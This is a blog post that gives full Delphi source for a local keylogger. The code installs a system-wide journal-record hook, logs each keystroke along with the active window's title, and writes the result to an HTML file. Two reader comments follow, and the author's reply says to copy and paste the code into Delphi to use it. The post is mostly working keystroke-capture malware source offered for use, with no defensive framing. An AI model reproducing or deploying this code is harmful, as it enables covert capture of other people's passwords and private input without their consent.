Simple keylogger in Delphi

(******************************************************)
(*                                                    *)
(*        Very Simple Local Keylogger                 *)
(*                                                    *)
(*        See: http://mo4x.com/                       *)
(*                                                    *)
(******************************************************)

unit KeyloggerUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, Buttons, Classes;

type
  TMainForm = class(TForm)
    Memo: TMemo;
    btnUpdateLogfile: TSpeedButton;
    btnClearLogs: TSpeedButton;
    FinalMemo: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure btnUpdateLogfileClick(Sender: TObject);
    procedure btnClearLogsClick(Sender: TObject);
  end;

var
  MainForm: TMainForm;
  MainHook : HHOOK;
  Wnd1,Wnd2 : array[0..255] of char;

implementation

{$R *.dfm}

function KeyboardHook(Code: Integer; wParam : WPARAM;
  lParam : LPARAM): Longint; stdcall;
var
  Buffer : TEventMsg;

  procedure TranslateKey(Key : Byte);
  begin
    if (Key <> VK_LBUTTON) and (Key <> VK_RBUTTON) then
    begin
      GetWindowText(GetForegroundWindow, Wnd2, SizeOf(Wnd2));
      if wnd1 <> wnd2 then
    begin
      MainForm.Memo.Lines.Add('<hr><font color="#FFFFFF"><b>'+wnd2+'</b></font><br>');
      Wnd1 := Wnd2;
    end;
    end;
    with MainForm do
    begin
      case Key of
        VK_RETURN      :    Memo.Lines.Add('<font color="#FFFF00"><b>[Enter]</b><br></font>');
        VK_BACK        :    Memo.Lines.Add('<font color="#FFFF00"><b>[Backspace]</b></font>');
        VK_ESCAPE      :    Memo.Lines.Add('<font color="#FFFF00"><b>[Esc]</b></font>');
        VK_SHIFT       :    Memo.Lines.Add('<font color="#FFFF00"><b>[Shift]</b></font>');
        VK_MENU        :    Memo.Lines.Add('<font color="#FFFF00"><b>[Alt]</b></font>');
        VK_CONTROL     :    Memo.Lines.Add('<font color="#FFFF00"><b>[Ctrl]</b></font>');
        VK_DELETE      :    Memo.Lines.Add('<font color="#FFFF00"><b>[Delete]</b></font>');
        VK_SPACE       :    Memo.Lines.Add(' ');
        VK_MULTIPLY    :    Memo.Text := Memo.Text + '<font color="#FF0000">*</font>';
        VK_ADD         :    Memo.Text := Memo.Text + '<font color="#FF0000">+</font>';
        VK_SUBTRACT    :    Memo.Text := Memo.Text + '<font color="#FF0000">-</font>';
        VK_DECIMAL     :    Memo.Text := Memo.Text + '<font color="#FF0000">.</font>';
        VK_DIVIDE      :    Memo.Text := Memo.Text + '<font color="#FF0000">/</font>';
        188            :    Memo.Text := Memo.Text + '<font color="#FF0000">,</font>';
        192            :    Memo.Text := Memo.Text + '<font color="#FF0000">`</font>';
        222            :    Memo.Text := Memo.Text + '<font color="#FF0000">'+Chr(39)+'</font>';
        220            :    Memo.Text := Memo.Text + '<font color="#FF0000"></font>';
        219            :    Memo.Text := Memo.Text + '<font color="#FF0000">[</font>';
        221            :    Memo.Text := Memo.Text + '<font color="#FF0000">]</font>';
        186            :    Memo.Text := Memo.Text + '<font color="#FF0000">;</font>';
        191            :    Memo.Text := Memo.Text + '<font color="#FF0000">/</font>';
        190            :    Memo.Text := Memo.Text + '<font color="#FF0000">.</font>';
        44             :    Memo.Text := Memo.Text + '<font color="#FF0000">,</font>';
        187            :    Memo.Text := Memo.Text + '<font color="#FF0000">=</font>';
        189            :    Memo.Text := Memo.Text + '<font color="#FF0000">-</font>';
        65             :    Memo.Text := Memo.Text + '<font color="#0000FF">a</font>';
        66             :    Memo.Text := Memo.Text + '<font color="#0000FF">b</font>';
        67             :    Memo.Text := Memo.Text + '<font color="#0000FF">c</font>';
        68             :    Memo.Text := Memo.Text + '<font color="#0000FF">d</font>';
        69             :    Memo.Text := Memo.Text + '<font color="#0000FF">e</font>';
        70             :    Memo.Text := Memo.Text + '<font color="#0000FF">f</font>';
        71             :    Memo.Text := Memo.Text + '<font color="#0000FF">g</font>';
        72             :    Memo.Text := Memo.Text + '<font color="#0000FF">h</font>';
        73             :    Memo.Text := Memo.Text + '<font color="#0000FF">i</font>';
        74             :    Memo.Text := Memo.Text + '<font color="#0000FF">j</font>';
        75             :    Memo.Text := Memo.Text + '<font color="#0000FF">k</font>';
        76             :    Memo.Text := Memo.Text + '<font color="#0000FF">l</font>';
        77             :    Memo.Text := Memo.Text + '<font color="#0000FF">m</font>';
        78             :    Memo.Text := Memo.Text + '<font color="#0000FF">n</font>';
        79             :    Memo.Text := Memo.Text + '<font color="#0000FF">o</font>';
        80             :    Memo.Text := Memo.Text + '<font color="#0000FF">p</font>';
        81             :    Memo.Text := Memo.Text + '<font color="#0000FF">q</font>';
        82             :    Memo.Text := Memo.Text + '<font color="#0000FF">r</font>';
        83             :    Memo.Text := Memo.Text + '<font color="#0000FF">s</font>';
        84             :    Memo.Text := Memo.Text + '<font color="#0000FF">t</font>';
        85             :    Memo.Text := Memo.Text + '<font color="#0000FF">u</font>';
        86             :    Memo.Text := Memo.Text + '<font color="#0000FF">v</font>';
        87             :    Memo.Text := Memo.Text + '<font color="#0000FF">w</font>';
        88             :    Memo.Text := Memo.Text + '<font color="#0000FF">x</font>';
        89             :    Memo.Text := Memo.Text + '<font color="#0000FF">y</font>';
        90             :    Memo.Text := Memo.Text + '<font color="#0000FF">z</font>';
        { Numpad Keys }
        VK_NUMPAD0     :    Memo.Text := Memo.Text + '<font color="#00FF00">0</font>';
        VK_NUMPAD1     :    Memo.Text := Memo.Text + '<font color="#00FF00">1</font>';
        VK_NUMPAD2     :    Memo.Text := Memo.Text + '<font color="#00FF00">2</font>';
        VK_NUMPAD3     :    Memo.Text := Memo.Text + '<font color="#00FF00">3</font>';
        VK_NUMPAD4     :    Memo.Text := Memo.Text + '<font color="#00FF00">4</font>';
        VK_NUMPAD5     :    Memo.Text := Memo.Text + '<font color="#00FF00">5</font>';
        VK_NUMPAD6     :    Memo.Text := Memo.Text + '<font color="#00FF00">6</font>';
        VK_NUMPAD7     :    Memo.Text := Memo.Text + '<font color="#00FF00">7</font>';
        VK_NUMPAD8     :    Memo.Text := Memo.Text + '<font color="#00FF00">8</font>';
        VK_NUMPAD9     :    Memo.Text := Memo.Text + '<font color="#00FF00">9</font>';
        { Numbers }
        48             :    Memo.Text := Memo.Text + '<font color="#00FF00">0</font>';
        49             :    Memo.Text := Memo.Text + '<font color="#00FF00">1</font>';
        50             :    Memo.Text := Memo.Text + '<font color="#00FF00">2</font>';
        51             :    Memo.Text := Memo.Text + '<font color="#00FF00">3</font>';
        52             :    Memo.Text := Memo.Text + '<font color="#00FF00">4</font>';
        53             :    Memo.Text := Memo.Text + '<font color="#00FF00">5</font>';
        54             :    Memo.Text := Memo.Text + '<font color="#00FF00">6</font>';
        55             :    Memo.Text := Memo.Text + '<font color="#00FF00">7</font>';
        56             :    Memo.Text := Memo.Text + '<font color="#00FF00">8</font>';
        57             :    Memo.Text := Memo.Text + '<font color="#00FF00">9</font>';
        //to capture other keys you must uncomment the line below:
        //else Memo.Text := Memo.Text + Chr(Key);
      end;
    end;
  end;

begin
  Result := 0;
  Buffer := PEventMsg(lParam)^;

  if Buffer.Message = WM_KEYUP then
  begin
    TranslateKey(Buffer.paramL);
  end;
end;

procedure TMainForm.FormCreate(Sender: TObject);
begin
  MainHook := SetWindowsHookEx(WH_JOURNALRECORD, KeyboardHook, hInstance, 0);
  DeleteFile('log.html');
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
  UnhookWindowsHookEx(MainHook);
end;

procedure TMainForm.btnUpdateLogfileClick(Sender: TObject);
begin
  //save captured keystrokes to HTML file
  FinalMemo.Lines.Add('<body bgcolor="#000000">');
  FinalMemo.Lines.Add(Memo.Text);
  FinalMemo.Lines.SaveToFile('log.html');
  FinalMemo.Lines.Add('</body>');
  Memo.Clear;
end;

procedure TMainForm.btnClearLogsClick(Sender: TObject);
begin
  //clear the logs
  FinalMemo.Clear;
end;

end.
Advertisements

2 Responses to Simple keylogger in Delphi

  1. Hadoitz says:

    How to use it ?

  2. mo4x says:

    Copy & paste into Borland Delphi

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: